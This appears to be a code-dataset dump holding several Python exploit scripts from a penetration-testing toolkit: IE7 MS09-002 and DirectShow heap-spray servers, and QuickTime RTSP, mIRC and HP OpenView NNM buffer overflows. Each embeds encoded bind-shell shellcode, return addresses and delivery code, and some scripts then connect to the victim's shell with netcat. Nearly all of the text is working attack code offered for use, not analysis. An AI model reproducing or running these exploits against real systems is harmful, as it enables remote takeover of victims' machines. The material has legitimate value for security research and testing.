id
int64 0
458k
| file_name
stringlengths 4
119
| file_path
stringlengths 14
227
| content
stringlengths 24
9.96M
| size
int64 24
9.96M
| language
stringclasses 1
value | extension
stringclasses 14
values | total_lines
int64 1
219k
| avg_line_length
float64 2.52
4.63M
| max_line_length
int64 5
9.91M
| alphanum_fraction
float64 0
1
| repo_name
stringlengths 7
101
| repo_stars
int64 100
139k
| repo_forks
int64 0
26.4k
| repo_open_issues
int64 0
2.27k
| repo_license
stringclasses 12
values | repo_extraction_date
stringclasses 433
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
19,400
|
ms09002.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms09002.py.svn-base
|
#!/usr/bin/env python
###############################################################################
# MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) #
###############################################################################
# #
# Thanks to str0ke for finding this in the wild. #
# #
# Tested on Windows 2003 SP2 R2 #
# #
# Written by SecureState R&D Team (ReL1K) #
# http://www.securestate.com #
# #
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind #
# #
###############################################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
#import os
#import sys
#from bin.include import print_banner
#print_banner()
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_GET(self):
# Always Accept GET
self.printCustomHTTPResponse(200)
# Site root: Main Menu
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""<html><head>""")
self.wfile.write("""<div id="replace">x</div>
<script language="JavaScript">
// win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */
var c = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3");
var array = new Array();
var ls = 0x100000-(c.length*2+0x01020);
var b = unescape("%u0C0C%u0C0C");
while(b.length<ls/2) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;
for(i=0; i<0xC0; i++) {
array[i] = lh + c;
}
CollectGarbage();
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));
function ok() {
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
}
</script><script>window.setTimeout("ok();",800);</script>""")
self.wfile.write("""<title>Microsoft Internet Explorer 7 Memory Corruption Exploit</title></head><body>""")
self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running...</p><br>""")
print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-]NetCat to IP Address: %s and port 5500 [-]" % (target))
#print ("[-] Example: open up a command shell and type 'nc %s 5500' [-]" % (target))
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
# In case of exceptions, pass them
except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
print ("""
#########################################################################
MS Internet Explorer 7 Memory Corruption Exploit (MS09-002)
#########################################################################
# #
# Thanks to Str0ke for finding this in the wild. #
# #
# Tested on Windows 2003 SP2 R2 #
# #
# Written by SecureState R&D Team #
# http://www.securestate.com #
# #
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai bind #
# #
#########################################################################
""")
print (" [-] Starting MS Internet Explorer 7 Memory Corruption Exploit [-]")
print (" [-] Have someone connect to you on port 80 [-]")
print (" <ctrl>-c to Cancel")
try:
# handle the connections
httpd.handle_request()
# Serve HTTP server forever
httpd.serve_forever()
# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print ("\n\n Exiting Fast-Track...\n\n")
raise KeyboardInterrupt
| 5,296
|
Python
|
.py
| 104
| 45.942308
| 1,053
| 0.594668
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,401
|
quicktime.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/quicktime.py.svn-base
|
#!/usr/bin/env python
#
# Quicktime 7.3 RTSP BufferOverflow Exploit
#
# Original DoS exploit by h07
# Rewritten by: ReL1K
# SEH Overwrite
#
# A ton of help from Muts from offensive-security.
#
# root@sslinux1:/home/relik/Desktop# python quicktime.py
# [+] Listening on [RTSP] 554
# [+] Connection accepted from: 10.211.55.5
# [+] Done, connect to 10.211.55.5 on port 3333
# root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
#
# C:\Program Files\QuickTime>
from socket import *
import subprocess
import time
import os
import sys
#from bin.include import print_banner
header = (
'RTSP/1.0 200 OK\r\n'
'CSeq: 1\r\n'
'Date: 0x00 :P\r\n'
'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n'
'Content-Type: %s\r\n' # <-- overflow
'Content-Length: %d\r\n'
'\r\n')
body = (
'v=0\r\n'
'o=- 16689332712 1 IN IP4 0.0.0.0\r\n'
's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'i=1.mp3\r\n'
't=0 0\r\n'
'a=tool:ciamciaramcia\r\n'
'a=type:broadcast\r\n'
'a=control:*\r\n'
'a=range:npt=0-213.077\r\n'
'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'a=x-qt-text-inf:1.mp3\r\n'
'm=audio 0 RTP/AVP 14\r\n'
'c=IN IP4 0.0.0.0\r\n'
'a=control:track1\r\n'
)
buffer = "\x42" * 991
shortjmp ="\xeb\x30\x90\x90" # eb = short jmp 30 bytes
pop = "\x4e\x28\x86\x66" # pop ebx pop ecx retn
nopslide="\x90"*60
# win32_bind - EXITFUNC=process LPORT=3333 Size=344 Encoder=ShikataGaNai http://metasploit.com
shellcode=("\xbb\xae\xef\x1f\x96\xda\xcc\x2b\xc9\xd9\x74\x24\xf4\x5a\xb1\x51"
"\x31\x5a\x12\x83\xc2\x04\x03\xf4\xe1\xfd\x63\xf4\x94\xea\xc1\xec"
"\x90\x12\x26\x13\x02\x66\xb5\xcf\xe7\xf3\x03\x33\x63\x7f\x89\x33"
"\x72\x6f\x1a\x8c\x6c\xe4\x42\x32\x8c\x11\x35\xb9\xba\x6e\xc7\x53"
"\xf3\xb0\x51\x07\x70\xf0\x16\x50\xb8\x3b\xdb\x5f\xf8\x57\x10\x64"
"\xa8\x83\xf1\xef\xb5\x47\x5e\x2b\x37\xb3\x07\xb8\x3b\x08\x43\xe1"
"\x5f\x8f\xb8\x1e\x4c\x04\xb7\x4c\xa8\x06\xa9\x4f\x81\xed\x4d\xc4"
"\xa1\x21\x05\x9a\x29\xc9\x69\x06\x9f\x46\xc9\x3e\x81\x30\x44\x70"
"\x33\x2d\x08\x73\x9d\xcb\xfa\xed\x4a\x27\xcf\x99\xfd\x34\x1d\x06"
"\x56\x44\xb1\xd0\x9d\x57\xce\x1b\x72\x57\xf9\x04\xfb\x42\x60\x3b"
"\x16\x84\x6f\x6e\x83\x97\x90\x40\x3b\x41\x67\x95\x11\x26\x87\x83"
"\x39\x9a\x24\x78\xed\x5f\x98\x3d\x42\x9f\xce\xa7\x0c\x52\xea\x41"
"\x9e\xe5\x15\x18\x48\x52\xcf\x52\x4e\xcd\x0f\x44\x3a\xe2\xbe\x3d"
"\x44\xd2\x29\x19\x17\xfd\x40\x36\x97\xd4\xc0\xed\x98\x09\x8e\xe8"
"\x2e\x2c\x06\xa5\x4f\xe6\xc9\x1d\xe4\x52\x15\x4d\x97\x35\x0e\x14"
"\x5e\xbc\x87\x19\x88\x6a\xd7\x35\x53\xff\x43\xd3\xf4\x9c\xe6\x92"
"\xe0\x09\xa9\xfd\xc3\x01\xc0\x1a\x79\xde\x5a\x06\x4f\x1e\xaf\x6c"
"\x4e\xdc\x7d\x8e\xed\xcd\xee\xe3\x88\x35\xba\x50\xc7\x2e\xce\x58"
"\xab\xb9\xd1\xd1\x88\x3a\xfb\x42\x46\x97\x55\x25\x39\x7d\x57\x94"
"\xe8\xd4\x06\xe9\xdb\xbf\x05\xcc\xd9\xf1\x05\x11\x37\x67\x55\x12"
"\x8f\x87\x79\x67\xa7\x8b\xf9\xb3\x2c\x8b\x28\x69\x52\xa3\xbd\xf3"
"\x74\xa6\x4d\x58\x7a\xf1\x4d\x8e")
# pad the rest of the buffer
padding="\x41"*5900
# format the header
header %= (buffer+shortjmp+pop+nopslide+shellcode+padding, len(body))
evil = header + body
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 554))
s.listen(1)
#print_banner()
print """
Quicktime 7.3 RTSP BufferOverflow Exploit
Original DoS exploit by h07
Python rewrite: Muts
Rewritten again by: ReL1K
SEH Overwrite
A ton of help from muts at offensive-security
root@sslinux1:/home/relik/Desktop# python quicktime.py
[+] Listening on [RTSP] 554
[+] Connection accepted from: 10.211.55.5
[+] Done, connect to 10.211.55.5 on port 3333
root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\QuickTime>
Simply have someone with Quicktime connect to you with RTSP
<ctrl>-c to Cancel
"""
print "[+] Listening on [RTSP] 554"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(evil)
print ("[+] Done, connecting to %s on port 3333 in 10 seconds..." % (addr[0]))
time.sleep(10)
connect=subprocess.Popen("nc %s 3333" % (addr[0]), shell=True).wait()
c.close()
s.close()
| 4,189
|
Python
|
.py
| 113
| 35.40708
| 95
| 0.712319
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,402
|
mirc.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/mirc.py.svn-base
|
#!/usr/bin/env python
from socket import *
import subprocess
import os
import sys
import time
#from bin.include import print_banner
#print_banner()
print """
mIRC 6.34 Remote Buffer Overflow Exploit
Original Exploit by SkD (skdrat <at> hotmail <.> com)
Rewritten by: ReL1K for Fast-Track (perl to python convert)
Credits to securfrog for publishing the PoC.\n"""
port=raw_input("\n What port do you want to listen on: ")
target=raw_input(""" Choose the operating system version:
1. XP Service Pack 3
2. Vista
<ctrl>-c to Cancel
Enter choice: """)
# win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com restricted chars 0x00 0xff
shellcode=("\x29\xc9\xb1\x51\xbe\x0e\x06\x17\x06\xda\xdf\xd9\x74\x24\xf4\x5f"
"\x31\x77\x0e\x03\x77\x0e\x83\xe1\xfa\xf5\xf3\x01\x68\x11\xb6\x11"
"\x94\x1a\xb6\x1e\x07\x6e\x25\xc4\xec\xfb\xf3\x38\x66\x87\xfe\x38"
"\x79\x97\x8a\xf7\x61\xec\xd2\x27\x93\x19\xa5\xac\xa7\x56\x37\x5c"
"\xf6\xa8\xa1\x0c\x7d\xe8\xa6\x4b\xbf\x23\x4b\x52\xfd\x5f\xa0\x6f"
"\x55\x84\x61\xfa\xb0\x4f\x2e\x20\x3a\xbb\xb7\xa3\x30\x70\xb3\xec"
"\x54\x87\x28\x11\x49\x0c\x27\x79\xb5\x0e\x59\x42\x84\xf5\xfd\xcf"
"\xa4\x39\x75\x8f\x26\xb1\xf9\x13\x9a\x4e\xb9\x23\xba\x38\xb4\x7d"
"\x4c\x55\x98\x7e\x86\xc3\x4a\xe6\x4f\x3f\x5f\x8e\xf8\x4c\xad\x11"
"\x53\x4c\x01\xc5\x90\x5f\x5e\x2e\x77\x5f\x49\x0f\xfe\x7a\x10\x2e"
"\xed\x8d\xdf\x65\x84\x8f\x20\x55\x30\x49\xd7\xa0\x6c\x3e\x17\x9c"
"\x3c\x92\xb4\x73\x90\x57\x68\x30\x45\xa7\x5e\xd0\x01\x46\x03\x7a"
"\x81\xe1\x5a\x17\x4d\x56\x86\x67\x49\xc1\x48\x51\x3f\xfe\xe7\x08"
"\x3f\x2e\x6f\x16\x12\xe1\x99\x01\x92\x28\x0a\xf8\x93\x05\xc5\xe7"
"\x25\x20\x5f\xb0\x4a\xfa\x30\x6a\xe1\x56\x4e\x42\x9a\x31\x57\x1b"
"\x5b\xb8\xc0\x24\xb5\x6e\x10\x0a\x5c\xfb\x8a\xcc\xc9\x98\x3f\x99"
"\xef\x35\x90\xc0\xc6\x05\x99\x15\x72\xd2\x13\x3b\xb2\x1a\xd0\x11"
"\x4b\xd8\x3a\x9b\xf6\xf1\xd7\xee\x8d\x31\x73\x5b\xda\x2a\xf1\x65"
"\xae\xbd\x0a\xec\x95\x3e\x22\x55\x41\x93\x9a\x38\x3c\x79\x1c\xeb"
"\xef\x28\x4f\xf4\xc0\xbb\xc2\xd3\xe4\xf5\x4e\x1c\x30\x63\x8e\x1d"
"\x8a\x8b\xa0\x6a\xa2\x8f\xc2\xa8\x29\x8f\x13\x62\x4d\xbf\xf4\x72"
"\x3b\x44\x5a\x21\xc3\x93\x9b\x15")
overflow = "\x41"*307
overflow2 = "B"*12
eip_vista = "\x66\x1c\xc2\x76" #Normaliz.DLL pop pop ret
eip2_vista = "\xd3\xdb\x54\x77" #MSFCT.DLL jmp esp
eip_xpsp3 = "\xd1\xfb\x92\x77" #SETUPAPI.DLL 0x7792FBD1 pop eax pop ret
eip2_xpsp3 = "\xb7\x87\x9d\x77" #SETUPAPI.DLL 0x779D87B7 jmp esp
addr = "\xb5\xb5\xfd\x7f"
nop_sled = "\x90"*4
jmp = "\xEB\x03\xFF\xFF"
if target=='1':
evil=overflow+eip_xpsp3+addr+nop_sled+eip2_xpsp3+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled
if target=='2':
evil=overflow+eip_vista+addr+nop_sled+eip2_vista+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", int(port)))
s.listen(1)
print "\n[+] Listening on port %s" % (port)
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(evil)
print "\n Our payload has been sent...connect to the IP Address on port 4444\n"
raw_input("[+] Done, press enter to quit\n\n")
c.close()
s.close()
| 3,144
|
Python
|
.py
| 67
| 45.19403
| 118
| 0.719596
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,403
|
hpopenviewnnm.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/hpopenviewnnm.py.svn-base
|
#!/usr/bin/env python
import socket
import os
import sys
from time import sleep
from bin.include import print_banner
# Alphanumeric egghunter shellcode + restricted chars \x40\x3f\x3a\x2f - ph33r
# One egg to rule them all.
print_banner()
try:
target=sys.argv[4]
except IndexError:
print "HP OpenView NNM Exploit:\n"
print """
********************* NOTE *************************
If this exploit is not executed against the intended
target chances are it will not succeed.
<ctrl>-c to Cancel
"""
target=raw_input(" Enter the IP Address to Attack: ")
egghunter=(
"%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J"
"MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5"
"21*-q!au-q!au-oGSePAA%JMNU%521*-D"
"A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1"
"z1E-oRHEPAA%JMNU%521*-3s1--331--^"
"TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA"
"A%JMNU%521*-R222-1111-nZJ2PAA%JMN"
"U%521*-1-wD-1-wD-8$GwP")
alignstack="\x90"*34+"\x83\xc4\x03"
# win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
# Spawned shell dies quickly as a result of a parent thread killing it.
# Best shellcodes are of the "instant" type, such as adduser, etc.
bindshell=("T00WT00W" + alignstack +
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x54\x4e\x33\x4b\x38\x4e\x37"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x38"
"\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x56\x43\x4c\x41\x53\x4b\x4d"
"\x46\x46\x4b\x58\x43\x44\x42\x33\x4b\x38\x42\x54\x4e\x30\x4b\x48"
"\x42\x47\x4e\x51\x4d\x4a\x4b\x48\x42\x34\x4a\x50\x50\x35\x4a\x36"
"\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x43\x4a\x36\x47\x57\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e"
"\x48\x56\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30"
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x55\x43\x55\x43\x55\x43\x55\x43\x45\x43\x44"
"\x43\x35\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x31"
"\x4e\x55\x48\x46\x43\x55\x49\x58\x41\x4e\x45\x59\x4a\x56\x46\x4a"
"\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x51"
"\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x45\x4f\x4f\x48\x4d"
"\x42\x55\x46\x55\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x46\x4a\x46\x43\x56"
"\x4d\x36\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x42\x4e\x4c"
"\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x44\x4e\x32"
"\x43\x39\x4d\x38\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x35\x4c\x56"
"\x41\x50\x41\x55\x41\x45\x45\x35\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x36"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
"\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")
# 0x6d356c6e pop pot ret somehwere in NNM 7.5.1
evilcrash = "\xeb"*1101 + "\x41\x41\x41\x41\x77\x21\x6e\x6c\x35\x6d" + "G"*32 +egghunter + "A"*100 + ":7510"
buffer="GET http://" + evilcrash+ "/topology/homeBaseView HTTP/1.1\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
buffer+= bindshell
print " [*] Sending evil HTTP request to NNMz, ph33r"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((str(target), 7510))
expl.send(buffer)
expl.close()
print " [*] Egghunter working ..."
print " [*] Check payload results - may take up to a minute."
print " Waiting 60 seconds before starting netcat connect.."
sleep(60)
ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % str(target))
| 5,080
|
Python
|
.py
| 96
| 51.260417
| 116
| 0.716126
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,404
|
ie0day_activex.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ie0day_activex.py.svn-base
|
#!/usr/bin/env python
######################################################################################
# MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) #
######################################################################################
# #
# Written by SecureState R&D Team #
# Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin #
# http://www.securestate.com #
# #
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind #
# #
######################################################################################
# Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 #
######################################################################################
# #
# This exploit is publicly being exploited in the wild, opted to release this #
# to the research community. Microsoft is aware of the vulnerability. #
# #
######################################################################################
# #
# [-] Exploit sent... [-] #
# [-] Wait about 30 seconds and attempt to connect.[-] #
# [-] Connect to IP Address: 10.211.55.140 and port 5500 [-] #
# #
# relik@sslinuxvm1:~$ telnet 10.211.55.140 5500 #
# Trying 10.211.55.140... #
# Connected to 10.211.55.140. #
# Escape character is '^]'. #
# Microsoft Windows [Version 5.2.3790] #
# (C) Copyright 1985-2003 Microsoft Corp. #
# #
# C:\Documents and Settings\Administrator\Desktop> #
# #
# #
# NOTE: The javascript code is not obfuscated in anyway, normal A/V should pick this #
# up. This is intentional. #
# #
# Improved reliability, appears to be about 95 percent of the time. Adjusted the #
# spray size a bit. #
# #
######################################################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
import binascii
#from bin.include import print_banner
#print_banner()
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_GET(self):
# Always Accept GET
self.printCustomHTTPResponse(200)
# trigger the overflow *boom*
if self.path == "/ohn0es.jpg":
unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00")
self.wfile.write(unhex)
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""<html><head>""")
self.wfile.write("""
<script language="JavaScript" defer>
function Check() {
// win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */
var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
// Original spray size below, use if you want exploit to load faster with higher crash rate.
// while (block.length + slackspace < 0x40000) block = block + block + fillblock;
while (block.length + slackspace < 0x70000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 350; i++){ memory[i] = block + shellcode}
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./ohn0es.jpg';
// Vulnerable ID
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
}
</script>
</head>
<body onload="Check();">
<div id="DivID">""")
self.wfile.write("""<title>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890)</title></head><body>""")
self.wfile.write("""<left><body bgcolor="Black"><font color="White">
###############################################################################
<br>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028)
<br>Written by SecureState R&D Team
<br>Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin
<br>http://www.securestate.com
<br>win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind
<br>Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7
<br>###############################################################################<br>
<br>""")
print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target))
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
# In case of exceptions, pass them
except Exception:
pass
